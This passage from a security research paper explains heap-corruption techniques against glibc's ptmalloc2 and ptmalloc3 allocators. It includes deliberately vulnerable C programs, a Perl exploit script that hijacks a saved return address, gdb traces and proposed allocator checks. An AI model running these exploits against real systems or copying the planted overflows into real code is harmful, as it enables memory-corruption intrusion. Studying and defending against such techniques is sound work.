agent_count ‑= 1;

printf("[+] Current agent selection: %d\n", sel_ag); }

} else {

printf("\n[!] No agents to delete\n");

}

}

‑‑‑[ end agents.c ]‑‑‑

This is the perfect program that I would present in a wargame to those who wish to apply the technique described in this paper.

Someone might think that maybe this program is vulnerable to other techniques described in the Malloc Des‑Maleficarum. Indeed given the ability of the user to manage the memory space, it may seem that The House of Mind can be applied here, but one must see that the program limits us to the creation of 256 structures of type "agent_t", and that the size of these structures is about 432 bytes (approximately when you allocate all its fields). If we multiply this number by 256 we get: (110592 = 0x1B000h) which seems too small to let us achieve the desirable address "0x08100000" necessary to corrupt the NON_MAIN_ARENA bit of an already allocated chunk above that address (and thus create a fake arena in order to trigger the attack aforementioned).

Another technique that one would take as viable would be The House of Force since at first it is easy to corrupt the Wilderness (the Top Chunk), but remember that in order to apply this method one of the requirements is that the size of a call to malloc( ) must been defined by the designer with the main goal of corrupting "av‑>top". This seems impossible here.

Other techniques are also unworkable for several reasons, each due to their intrinsic requirements. So we must study how to sort the steps that trigger the vulnerability and the attack process that we have studied so far.

Let's see in detail:

After a quick look, we found that the only vulnerable function is:

void edit_name(void) {

...

agents[sel_ag]‑>name = (char *) malloc(32);

...

fgets(agents[sel_ag]‑>name, 322, stdin);

At first it seems a simple typographical error, but it allows us to override the memory chunk that we allocated after "agents[]‑>name", which can be any, since the program allows practically a full control over memory.

To imitate the maximum possible vulnerable process shown in the previous section, the most obvious thing we can do to start is to create a new agent (0) and edit all fields. With this we get:

malloc(sizeof(agent_t)); // new agent

malloc(32); // agents[0]‑>name

malloc(128); // agents[0]‑>lastname

malloc(256); // agents[0]‑>desc

The main target is to overwrite the "bk" pointer in the field "agents[]‑>lastname" if we have freed this chunk previously. Moreover, between these two actions, we need to allocate a chunk of memory to be selected from the "TOP code", so that the chunks present in the unsorted bin are sorted in their corresponding bins for a later reuse.

For this, what we do is create a new agent(1), select the first agent(0) and delete its field "lastname", select the second agent(1) and edit its description. This is equal to:

malloc(sizeof(agent_t)); // Get a chunk from TOP code

free(agents[0]‑>lastname); // Insert chunk at unsorted bin

malloc(256); // Get a chunk from TOP code

After this last call to malloc( ), the freed chunk of 128 bytes (lastname) will have been placed in its corresponding bin. Now we can alter "bk" pointer of this chunk, and for this we select again the first agent(0) and edit its name (here there will be no call to malloc( ) since it has been previously assigned).

At this time, we can place a proper memory address pointing to the stack and make two calls to malloc(128), first editing the "lastname" field of the second agent(1) and then editing the "lastname" field of agent(0) one more time.

These latest actions should return a memory pointer located in the stack in a position of your choice, and any written content on "agents[0]‑>lastname" could corrupt a saved return address.

Without wishing to dwell too much more, we show here how a tiny‑exploit alter the above pointer "bk" and returns a chunk of memory located in the stack:

‑‑‑[ exthl.pl ]‑‑‑

#!/usr/bin/perl

print "1\n" . # Create agents[0]

"4\n" . # Edit agents[0]

"1\nblack\n" . # Edit name agents[0]

"2\nngel\n" . # Edit lastname agents[0] "3\nsuperagent\n" . # Edit description agents[0] "0\n1\n" . # Create agents[1]

"2\n0\n" . # Select agents[0]

"4\n5\n" . # Delete lastname agents[0] "0\n2\n1\n" . # Select agents[1]

"4\n" . # Edit agents[1] "3\nsupersuper\n" . # Edit description agents[1] "0\n2\n0\n" . # Select agents[0]

"4\n" . # Edit agents[0] "1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "\x94\xee\xff\xbf" . # Edit name[0] and overwrite "lastname‑>bk" "\n0\n2\n1\n" . # Select agents[1]

"4\n" . # Edit agents[1]

"2\nother\n" . # Edit lastname agents[1] "0\n2\n0\n" . # Select agents[0]

"4\n" . # Edit agents[0] "2\nBBBBBBBBBBBBBBBBBBBBB" . "BBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"; # Edit lastname agents[0]

and overwrite a {RET}

‑‑‑[ end exthl.pl ]‑‑‑

And here is the result, displaying only the outputs of interest for us:

black@odisea:~/ptmalloc2$ ./exthl | ./agents

.....

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0x8 ]) // Create new agents[0]

Agent 0 created, now you can edit it

.....

[PTMALLOC2] ‑> (Chunk from TOP)

[!!!]malloc(ed) name [ 0x804f020 ] // Edit name agents[0]

Write name for this agent:

.....

[PTMALLOC2] ‑> (Chunk from TOP)

[!!!]malloc(ed) lastname [ 0x804f048 ] // Edit lastname agents[0]

Write lastname for this agent:

.....

[PTMALLOC2] ‑> (Chunk from TOP)

[!!!]malloc(ed) desc [ 0x804f0d0 ] // Edit description agents[0]

Write description for this agent:

.....

[PTMALLOC2] ‑> (Chunk from TOP)

Agent 1 created, now you can edit it // Create new agents[1]

.....

Write agent number:

[+] Agent 0 selected. // Select agents[0]

.....

[PTMALLOC2] ‑> (Freed and unsorted [ 0x804f040 ] chunk) // Delete lastname

.....

Write agent number:

[+] Agent 1 selected. // Select agents[1]

.....

[PTMALLOC2] ‑> (Chunk from TOP)

[!!!]malloc(ed) desc [ 0x804f1f0 ] // Edit description agents[1]

Write description for this agent:

.....

Write agent number:

[+] Agent 0 selected. // Select agents[0]

.....

Write name for this agent: // Edit name agents[0]

Write agent number:

[+] Agent 1 selected. // Select agents[1]

.....

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0x804f048 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbfffee94 ])

[!!!]malloc(ed) lastname [ 0x804f048 ]

Write lastname for this agent: // Edit lastname agents[1]

.....

Write agent number:

[+] Agent 0 selected. // Select agents[0]

.....

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0xbfffee94 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbfffeec0 ])

[!!!]malloc(ed) lastname [ 0xbfffee9c ] // Edit lastname agents[0]

Segmentation fault

black@odisea:~/ptmalloc2$

Everyone can predict what happened in the end, but GDB can clarify for us a few things:

‑‑‑‑‑ snip ‑‑‑‑‑

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0xbfffee94 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbfffeec0 ])

[!!!]malloc(ed) lastname [ 0xbfffee9c ]

Program received signal SIGSEGV, Segmentation fault.

0x080490f6 in edit_lastname ()

(gdb) x/i $eip

0x80490f6 <edit_lastname+150>: ret

(gdb) x/8x $esp

0xbfffee9c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffeeac: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb)

‑‑‑‑‑ snip ‑‑‑‑‑

And you have moved to the next level of your favorite wargame, or at least you have increased your level of knowledge and skills.

Now, I encourage you to compile this program with your regular glibc (not static Ptmalloc2), and verify that the result is exactly the same, it does not change the inside code.

I don't know if anyone had noticed, but another of the techniques that in principle could be applied to this case is the forgotten The House of Prime. The requirement for implementing it is the manipulation of the header of two chunks that will be freed. This is possible since an overflow in agents[]‑>name can override both agents[]‑>lastname and agents[]‑>desc, and we can decide both when freeing them and in what order. However, The House of Prime needs also at least the possibility of placing an integer on the stack to overcome a last check and this is where it seems that we stay trapped. Also, remember that since glibc 2.3.6 one can no longer pass to free( ) a chunk smaller than 16 bytes whereas this is the first requirement inherent to this technique (alter the size field of the first piece overwritten 0x9h = 0x8h + PREV_INUSE bit).

<< It is common sense to take a method and try it; if it fails, admit it frankly and try another. But above all, try something. >>

[ Franklin D. Roosevelt ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3 ‑‑‑[ LargeBin Corruption Method ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In order to apply the method recently explained to a largebin we need the same conditions, except that the size of the chunks allocated should be above 512 bytes as seen above.

However, in this case the code triggered in "_int_malloc( )" is different and more complex. Extra requirements will be necessary in order to achieve a successful execution of arbitrary code.

We will make some minor modifications to the vulnerable program presented in 2.2.1 and will see, through the practice, which of these preconditions must be met.

Here is the code:

‑‑‑[ thl‑large.c ]‑‑‑

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

void evil_func(void)

{

printf("\nThis is an evil function. You become a cool \ hacker if you are able to execute it\n");

}

void func1(void)

{

char *lb1, *lb2;

lb1 = (char *) malloc(1536);

printf("\nLB1 ‑> [ %p ]", lb1);

lb2 = malloc(1536);

printf("\nLB2 ‑> [ %p ]", lb2);

strcpy(lb1, "Which is your favourite hobby: "); printf("\n%s", lb1);

fgets(lb2, 128, stdin);

}

int main(int argc, char *argv[])

{

char *buff1, *buff2, *buff3;

malloc(4096);

buff1 = (char *) malloc(1024);

printf("\nBuff1 ‑> [ %p ]", buff1);

buff2 = (char *) malloc(2048);

printf("\nBuff2 ‑> [ %p ]", buff2);

buff3 = (char *) malloc(4096);

printf("\nBuff3 ‑> [ %p ]\n", buff3);

free(buff2);

printf("\nBuff4 ‑> [ %p ]", malloc(4096));

strcpy(buff1, argv[1]);

func1();

return 0;

}

‑‑‑[ end thl‑large.c ]‑‑‑

As you can see, we still need an extra reserve (buff4) after releasing the second allocated chunk. This is because it's not a good idea to have a corrupted "bk" pointer in a chunk that still is in the unsorted bin. When it happens, the program usually breaks sooner or later in the instructions:

/* remove from unsorted list */

unsorted_chunks(av)‑>bk = bck;

bck‑>fd = unsorted_chunks(av);

But if we do not make anything wrong before the recently freed chunk is placed in its corresponding bin, then we pass without penalty or glory the next area code:

while ( (victim = unsorted_chunks(av)‑>bk) != unsorted_chunks(av)) { ...

}

Having passed this code means that (buff2) has been introduced in its corresponding largebin. Therefore we will reach this code:

‑‑‑‑‑ snip ‑‑‑‑‑

if (!in_smallbin_range(nb)) {

bin = bin_at(av, idx);

for (victim = last(bin); victim != bin; victim = victim‑>bk) { size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb)) { printf("\n[PTMALLOC2] No enter here please\n"); remainder_size = size ‑ nb;

unlink(victim, bck, fwd);

.....

‑‑‑‑‑ snip ‑‑‑‑‑

This does not look good. The unlink( ) macro is called, and we know the associated protection since the 2.3.6 version of Glibc. Going there would destroy all the work done until now.

Here comes one of the first differences in the largebin corruption method. In 2.2.1 we said that after overwriting the "bk" pointer of the free( ) chunk, two calls to malloc( ) with the same size should be carried out to return a pointer *mem in an arbitrary memory address.

In largebin corruption, we must avoid this code at all cost. For this, the two calls to malloc( ) must be less than buff2‑>size. Phantasmal told us "512 < M < N", and that is what we see in our vulnerable application: 512 < 1536 < 2048.

As it has not previously been freed any chunk of this size (1536) or at least belonging to the same bin, "_int_malloc( )" tries to search a chunk that can fulfill the request from the next bin to the recently scanned:

// Search for a chunk by scanning bins, starting with next largest bin.

++idx;

bin = bin_at(av,idx);

And here is where the magic comes, the following piece of code will be executed:

‑‑‑‑‑ snip ‑‑‑‑‑

victim = last(bin);

.....

else {

size = chunksize(victim);

remainder_size = size ‑ nb;

printf("\n[PTMALLOC2] ‑> (Largebin code reached)"); printf("\n[PTMALLOC2] ‑> remander_size = size (%d) ‑ nb (%d) = %u", size,

nb, remainder_size);

printf("\n[PTMALLOC2] ‑> (victim = [ %p ])", victim); printf("\n[PTMALLOC2] ‑> (victim‑>bk = [ %p ])\n", victim‑>bk);

/* unlink */

bck = victim‑>bk;

bin‑>bk = bck;

bck‑>fd = bin;

/* Exhaust */

if (remainder_size < MINSIZE) {

printf("\n[PTMALLOC2] ‑> Exhaust code!! You win!\n"); .....

return chunk2mem(victim);

}

/* Split */

else {

.....

set_foot(remainder, remainder_size); check_malloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

}

‑‑‑‑‑ snip ‑‑‑‑‑

The code has been properly trimmed to show only the parts that have relevance in the method we are describing. Calls to printf( ) are of my own and you will soon see its usefulness.

Also it's easy to see that the process is practically the same as in the smallbin code. You take the last chunk of the respective largebin (last(bin)) in "victim" and proceed to unlink it (without macro) before reaching the user control. Since we control "victim‑>bk", at first the attack requirements are the same, but then, where is the difference?

Calling set_foot( ) tends to produce a segmentation fault since that "remainder_size" is calculated from "victim‑>size", value that until now we were filling out with random data. The result is something like the following:

(gdb) run `perl ‑e 'print "A" x 1036 . "\x44\xf0\xff\xbf"'`

[PTMALLOC2] ‑> (Chunk from TOP)

Buff1 ‑> [ 0x8050010 ]

[PTMALLOC2] ‑> (Chunk from TOP)

Buff2 ‑> [ 0x8050418 ]

[PTMALLOC2] ‑> (Chunk from TOP)

Buff3 ‑> [ 0x8050c20 ]

[PTMALLOC2] ‑> (Freed and unsorted [ 0x8050410 ] chunk) [PTMALLOC2] ‑> (Chunk from TOP)

Buff4 ‑> [ 0x8051c28 ]

[PTMALLOC2] ‑> (Largebin code reached)

[PTMALLOC2] ‑> remander_size = size (1094795584) ‑ nb (1544) = 1094794040 [PTMALLOC2] ‑> (victim = [ 0x8050410 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbffff044 ])

Program received signal SIGSEGV, Segmentation fault.

0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 4144 set_foot(remainder, remainder_size);

(gdb)

The solution is then enforce the conditional:

if (remainder_size < MinSize) {

...

}.

Anyone might think of overwriting "victim‑>size" with a value like "0xfcfcfcfc" which would generate as a result a negative number smaller than MINSIZE, but we must remember that "remainder_size" is defined as an "unsigned long" and therefore the result will always be a positive value.

The only possibility that remains then is that the vulnerable application allows us to insert null bytes in the attack string, and therefore to supply a value as (0x00000610 = 1552) that would generate:

1552 ‑ 1544 (align) = 8 and the condition would be fulfilled. Let us see in action:

(gdb) set *(0x08050410+4)=0x00000610

(gdb) c

Continuing.

Buff4 ‑> [ 0x8051c28 ]

[PTMALLOC2] ‑> (Largebin code reached)

[PTMALLOC2] ‑> remander_size = size (1552) ‑ nb (1544) = 8 [PTMALLOC2] ‑> (victim = [ 0x8050410 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbffff044 ])

[PTMALLOC2] ‑> Exhaust code!! You win!

LB1 ‑> [ 0x8050418 ]

[PTMALLOC2] ‑> (Largebin code reached)

[PTMALLOC2] ‑> remander_size = size (‑1073744384) ‑ nb (1544) = 3221221368 [PTMALLOC2] ‑> (victim = [ 0xbffff044 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbffff651 ])

Program received signal SIGSEGV, Segmentation fault.

0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 4144 set_foot(remainder, remainder_size);

Perfect, we reached the second memory request where we saw that victim is equal to 0xbffff044 which being returned would provide a chunk whose *mem pointes to the stack. However set_foot( ) again gives us problems, and this is obviously because we are not controlling the "size" field of this fake chunk created on the stack.

This is where we have to overcome the latter condition. Victim should point to a memory location containing user‑controlled data, so that we can enter an appropriate "size" value and conclude the technique.

We end this section by saying that the largebin corruption method is not just pure fantasy as we've made it a reality. However it is true that finding the required preconditions of attack in real‑life applications is almost impossible.

As a curious note, one might try to overwrite "victim‑>size" with 0xffffffff (‑1) and check that on this occasion set_foot( ) seems to follow its course without breaking the program.

Note: Again we have not tested all versions of glibc, but we noted the following fixes in advanced versions:

‑‑‑‑‑ snip ‑‑‑‑‑

else {

size = chunksize(victim);

/* We know the first chunk in this bin is big enough to use. */

assert((unsigned long)(size) >= (unsigned long)(nb)); <‑‑ !!!!!!!

remainder_size = size ‑ nb;

/* unlink */

unlink(victim, bck, fwd);

/* Exhaust */

if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size);

if (av != &main_arena)

victim‑>size |= NON_MAIN_ARENA;

}

/* Split */

else {

‑‑‑‑‑ snip ‑‑‑‑‑

What this means is that the unlink( ) macro has been newly introduced into the code, and thus the classic pointer testing mitigate the attack.

<< Insanity is doing the same thing over and over again, and expecting different results. >>

[ Albert Einstein ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 4 ‑‑‑[ Analysis of Ptmalloc3 ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

Delving into the internals of Ptmalloc3, without warm up, may seem violent, but with a little help it's only a child's game.

In order to understand correctly the next sections, I present here the most notable differences in the code with respect to Ptmalloc2.

The basic operation remains the same, in the end it's another common memory allocator, and is also based on a version of Doug Lea allocator but adapted to work on multiple threads.

For example, here is the chunk definition:

struct malloc_chunk {

size_t prev_foot; /* Size of previous chunk (if free). */

size_t head; /* Size and inuse bits. */

struct malloc_chunk* fd; /* double links ‑‑ used only if free. */

struct malloc_chunk* bk;

};

As we see, the names of our well known "prev_size" and "size" fields have been changed, but the meaning remains the same. Furthermore we knew three usual bit control to which they added an extra one called "CINUSE_BIT" which tells (in a redundant way) that the current chunk is assigned, as opposed to that PINUSE_BIT that continues to report the allocation of the previous chunk. Both bits have their corresponding checking and assign macros.

The known "malloc_state" structure now stores the bins into two different arrays for different uses:

mchunkptr smallbins[(NSMALLBINS+1)*2];

tbinptr treebins[NTREEBINS];

The first of them stores free chunks of memory below 256 bytes. Treebins[] is responsible for long pieces and uses a special tree organization. Both arrays are important in the respective techniques that will be discussed in the following sections, providing there more details about its management and corruption.

Some of the areas of greatest interest in "malloc_state" are:

char* least_addr;

mchunkptr dv;

size_t magic;

* "least_addr" is used in certain macros to check if the address of a given P chunk is within a reliable range.

* "dv", or Designated Victim is a piece that can be used quickly to serve a small request, and to gain efficiency is typically, by general rule, the last remaining piece of another small request. This is a value that is used frequently in the smallbin code, and we will see it in the next section.

* "Magic" is a value that should always be equal to malloc_params.magic and in principle is obtained through the device "/dev/urandom". This value can be XORed with mstate and written into p‑>prev_foot for later to retrieve the mstate structure of that piece by applying another XOR operation with the same value. If "/dev/urandom" can not be used, magic is calculated from the time(0) syscall and "0x55555555U" value with other checkups, and if the constant INSECURE was defined at compile time magic then directly take the constant value: "0x58585858U".

For security purposes, some of the most important macros are following:

#define ok_address(M, a) ((char*)(a) >= (M)‑>least_addr)

#define ok_next(p, n) ((char*)(p) < (char*)(n))

#define ok_cinuse(p) cinuse(p)

#define ok_pinuse(p) pinuse(p)

#define ok_magic(M) ((M)‑>magic == mparams.magic)

which could always return true if the constant INSECURE is defined at compile time (which is not the case by default).

The last macro that you could be observe frequently is "RTCHECK(e)" which is nothing more than a wrapper for "__builtin_expect(e, 1)", which in time is more familiar from previous studies on malloc.

As we said, "malloc_params" contains some of the properties that can be established through "mallopt(int param, int value)" at runtime, and additionally we have the structure "mallinfo" that maintains the global state of the allocation system with information such as the amount of already allocated space, the amount of free space, the number of total free chunks, etc...

Talking about the management of Mutex and treatment of Threads in Ptmalloc3 is something beyond the scope of this article (and would probably require to write an entire book), so we will not discuss this issue and will rather go forward.

In the next section we see that every precaution that have been taken are not sufficient to mitigate the attack presented here.

<< Software is like entropy: It is difficult to grasp, weighs nothing, and obeys the Second Law of Thermodynamics: i.e., it always increases. >>

Norman Augustine ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.1 ‑‑‑[ SmallBin Corruption (Reverse) ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In an attempt to determine whether THoL could be viable in this last version of Wolfram Gloger. This version have a lot security mechanisms and integrity checks against heap overflows, fortunately I discovered a variant of our smallbin corruption method, this variant could be applied.

To begin, we compile Ptmalloc3 and link the library statically with the vulnerable application presented in 2.2.1. After using the same method to exploit that application (by adjusting the evil_func( ) address of course, which would be our dummy shellcode), we obtain a segment violation at malloc.c, particularly in the last instruction of this piece of code:

‑‑‑‑‑ snip ‑‑‑‑‑

void* mspace_malloc(mspace msp, size_t bytes) {

.....

if (!PREACTION(ms)) {

.....

if (bytes <= MAX_SMALL_REQUEST) {

.....

if ((smallbits & 0x3U) != 0) {

.....

b = smallbin_at(ms, idx);

p = b‑>fd;

unlink_first_small_chunk(ms, b, p, idx);

‑‑‑‑‑ snip ‑‑‑‑‑

Ptmalloc3 can use both dlmalloc( ) and mspace_malloc( ) depending on whether the constant "ONLY_MSPACES" has been defined at compile‑time (this is the default option ‑DONLY_MSPACES). This is irrelevant for the purposes of this explanation since the code is practically the same for both functions.

The application breaks when, after having overwritten the "bk" pointer of buff2, one requests a new buffer with the same size. Why does it happen?

As you can see, Ptmallc3 acts in an opposite way of Ptmalloc2. Ptmalloc2 attempts to satisfy the memory request with the last piece in the bin, however, Ptmalloc3 intends to cover the request with the first piece of the bin: "p = b‑>fd".

mspace_malloc () attempts to unlink this piece of the corresponding bin to serve the user request, but something bad happens inside the "unlink_first_small_chunk( )" macro, and the program segfaults.

Reviewing the code, we are interested by a few lines:

‑‑‑‑‑ snip ‑‑‑‑‑

#define unlink_first_small_chunk(M, B, P, I) {\

mchunkptr F = P‑>fd;\ [1]

.....

if (B == F)\

clear_smallmap(M, I);\

else if (RTCHECK(ok_address(M, F))) {\ [2]

B‑>fd = F;\ [3]

F‑>bk = B;\ [4]

}\

else {\

CORRUPTION_ERROR_ACTION(M);\

}\

}

‑‑‑‑‑ snip ‑‑‑‑‑

Here, P is our overwritten chunk, and B is the bin belonging to that piece. In [1], F takes the value of the "fd" pointer that we control (at the same time that we overwrote the "bk" pointer in buff2).

If [2] is overcome, which is a security macro we've seen in the previous section:

#define ok_address(M, a) ((char*)(a) >= (M)‑>least_addr)

where the least_addr field is "the least address ever obtained from MORECORE or MMAP"... then anything of higher value will pass this test.

We arrive to the classic steps of unlink, in [3] the "fd" pointer of the bin points to our manipulated address. In [4] is where a segmentation violation occurs, as it tries to write to (0x41414141)‑>bk the address of the bin. As it falls outside the allocated address space, the fun ends.

For the smallbin corruption technique over Ptmalloc3 it is necessary to properly overwrite the "fd" pointer of a freed buffer with a random address. After, it is necessary to try making a future call to malloc( ), with the same size, that returns the random address as the allocated space.

The precautions are the same as in 2.2.1, F‑>bk must contain a writable address, otherwise it will cause an access violation in [4].

If we accomplish all this conditions, the first chunk of the bin will be unlinked and the following piece of code will be triggered.

‑‑‑‑‑ snip ‑‑‑‑‑

mem = chunk2mem(p);

check_malloced_chunk(gm, mem, nb);

goto postaction;

.....

postaction:

POSTACTION(gm);

return mem;

‑‑‑‑‑ snip ‑‑‑‑‑

I added the occasional printf( ) sentence into mspace_malloc( ) and the unlink_first_small_chunk( ) macro to see what happened, and the result was as follow:

Starting program: /home/black/ptmalloc3/thl `perl ‑e 'print "A"x24 .

"\x28\xf3\xff\xbf"'` < evil.in

[mspace_malloc()]: 16 bytes <= 244

Buff1 ‑> [ 0xb7feefe8 ]

[mspace_malloc()]: 128 bytes <= 244

Buff2 ‑> [ 0xb7fef000 ]

Buff3 ‑> [ 0xb7fef088 ]

Buff4 ‑> [ 0xb7fef190 ]

[mspace_malloc()]: 128 bytes <= 244

[unlink_first_small_chunk()]: P‑>fd = 0xbffff328

LB1 ‑> [ 0xb7fef000 ]

[mspace_malloc()]: 128 bytes <= 244

[unlink_first_small_chunk()]: P‑>fd = 0xbffff378

LB2 ‑> [ 0xbffff330 ]

Which is your favourite hobby:

This is an evil function. You become a cool hacker if you are able to execute it

"244" is the present value of MAX_SMALL_REQUEST, which as we can see, is another difference from Ptmalloc2, which defined a smallbin whenever requested size was less than 512. In this case the range is a little more limited.

<< From a programmer's point of view, the user is a peripheral that types when you issue a read request. >>

[ P. Williams ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.2 ‑‑‑[ LargeBin Method (TreeBin Corruption) ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At this point of the article, we have understood the basic concepts correctly. One could now continue to study on his own the Ptmalloc3 internals.

In Ptmalloc3, large chunks (ie larger than 256 bytes), are stored in a tree structure where each chunk has a pointer to its father, and retains two pointers to its children (left and right) if having any. The code that defines this structure is the following:

‑‑‑‑‑ snip ‑‑‑‑‑

struct malloc_tree_chunk {

/* The first four fields must be compatible with malloc_chunk */

size_t prev_foot;

size_t head;

struct malloc_tree_chunk* fd;

struct malloc_tree_chunk* bk;

struct malloc_tree_chunk* child[2];

struct malloc_tree_chunk* parent;

bindex_t index;

};

‑‑‑‑‑ snip ‑‑‑‑‑

When a memory request for a long buffer is made, the

"if (bytes <= MAX_SMALL_REQUEST) {}" sentence fails, and the executed code, if nothing strange happens, is as follow:

‑‑‑‑‑ snip ‑‑‑‑‑

else {

nb = pad_request(bytes);

if (ms‑>treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb);

goto postaction;

}

}

‑‑‑‑‑ snip ‑‑‑‑‑

Into tmalloc_large( ), we aim to achieve this code:

‑‑‑‑‑ snip ‑‑‑‑‑

if (v != 0 && rsize < (size_t)(m‑>dvsize ‑ nb)) {

if (RTCHECK(ok_address(m, v))) { /* split */

.....

if (RTCHECK(ok_next(v, r))) {

unlink_large_chunk(m, v);

if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb));

else {

set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); insert_chunk(m, r, rsize);

}

return chunk2mem(v);

.....

‑‑‑‑‑ snip ‑‑‑‑‑

If we tried to exploit this program in the same way as for Ptmalloc2, the application would break first in the "unlink_large_chunk( )" macro, which is very similar to "unlink_first_small_chunk( )". The most important lines of this macro are these:

F = X‑>fd;\ [1]

R = X‑>bk;\ [2]

F‑>bk = R;\ [3]

R‑>fd = F;\ [4]

Thus we now know that both the "fd" and "bk" pointers of the overwritten chunk must be pointing to writable memory addresses, otherwise this could lead to an invalid memory access.

The next error will come in: "set_size_and_pinuse_of_free_chunk(r, rsize)", which tells us that the "size" field of the overwritten chunk must be user‑controlled. And so again, we need the vulnerable application to allow us introducing NULL bytes.

If we can accomplish this, the first call to "malloc(1536)" of the application shown in section 3 will be executed correctly, and the issue will come with the second call. Specifically within the loop:

‑‑‑‑‑ snip ‑‑‑‑‑

while (t != 0) { /* find smallest of tree or subtree */

size_t trem = chunksize(t) ‑ nb;

if (trem < rsize) {

rsize = trem;

v = t;

}

t = leftmost_child(t);

}

‑‑‑‑‑ snip ‑‑‑‑‑

When you first enter this loop, "t" is being equal to the address of the first chunk in the tree_bin[] corresponding to the size of the buffer requested. The loop will continue while "t" has still some son and, finally "v" (victim) will contain the smallest piece that can satisfy the request.

The trick for saving our problem is to exit the loop after the first iteration. For this, we must make "leftmost_child(t)" returning a "0" value.

Knowing the definition:

#define leftmost_child(t) ((t)‑>child[0] != 0? (t)‑>child[0]:(t)‑>child[1])

The only way is to place (buff2‑>bk) in an address of the stack. It is necessary the pointers child[0] and child[1] with a "0" value, which means no more children. Then "t" (and therefore "v") will be provided while the "size" field not fails the if( ) sentence.

<< Before software should be reusable, it should be usable. >>

[ Ralph Johnson ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.3 ‑‑‑[ Implement Security Checks ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ptmalloc3 could be safer than it seems at first, but for this, you should have defined the FOOTERS constant at compile time (which is not the default case).

We saw the "magic" parameter at the beginning of section 4, which is present in all malloc_state structures and the way in which it is calculated. The reason why "prev_size" now is named as "prev_foot" if that if FOOTERS is defined, then this field is used to store the result of a XOR operation between the mstate belonging to the chunk and the magic value recently calculated. This is done with:

/* Set foot of inuse chunk to be xor of mstate and seed */

#define mark_inuse_foot(M,p,s)\ (((mchunkptr)((char*)(p)+(s)))‑>prev_foot = ((size_t)(M) ^ mparams.magic))

XOR, as always, remains being a symmetric encryption that allows, at the same time, saving the malloc_state address and establishing a kind of cookie to prevent a possible attack whenever altered. This mstate is obtained with the following macro:

#define get_mstate_for(p)\

((mstate)(((mchunkptr)((char*)(p) +\ (chunksize(p))))‑>prev_foot ^ mparams.magic))

For example, at the beginning of the "mspaces_free( )" function which is called by the wrapper free( ), is started in this way:

#if FOOTERS

mstate fm = get_mstate_for(p);

#else /* FOOTERS */

mstate fm = (mstate)msp;

#endif /* FOOTERS */

if (!ok_magic(fm)) {

USAGE_ERROR_ACTION(fm, p);

return;

}

If we corrupt the header of an allocated chunk (and therefore the prev_foot field). When the chunk was freed, get_mstate_for( ) will return an erroneous arena. At this moment ok_magic( ) will test the "magic" value of that area and it will abort the application.

Moreover, one must be aware that the current flow could be broken even before the USAGE_ERROR_ACTION( ) call if the reading of fm‑>magic causes a segmentation fault due to wrong value obtained by get_mstate_for( ).

How to deal with this cookie and the probability analysis in order to predict its value at runtime is an old issue, and we will not talk more here about it. Though one could remember the PaX case, perhaps an overwritten pointer can point beyond the "size" field of a chunk, and through a future STRxxx( ) or MEMxxx( ) call, crush their data without have altered "prev_foot". Skape made an excellent job in his "Reducing the effective entropy of gs cookies" [4] for the Windows platform. It could give you some fantastic ideas to apply. Who knows, it all depends on the vulnerability and inherent requirements of the tested application.

What is the advantage of THoL according to this protection? It is very clear, the target chunk is corrupted after its release, and therefore the integrity checks are passed.

Anyway, there should be ways to mitigate these kinds of problems, to start, if we all know that no memory allocation should proceed belonging to a stack location, one could implement something as simple as this:

#define STACK_ADDR 0xbff00000

#define ok_address(M, a) (((char*)(a) >= (M)‑>least_addr)\

&& ((a) <= STACK_ADDR))

and the application is aborted before getting a successful exploitation. Also a check as ((a) >> 20) == 0xbff) should be effective. It is only an example, the relative stack position could be very different in your system, it is a very restrictive protection.

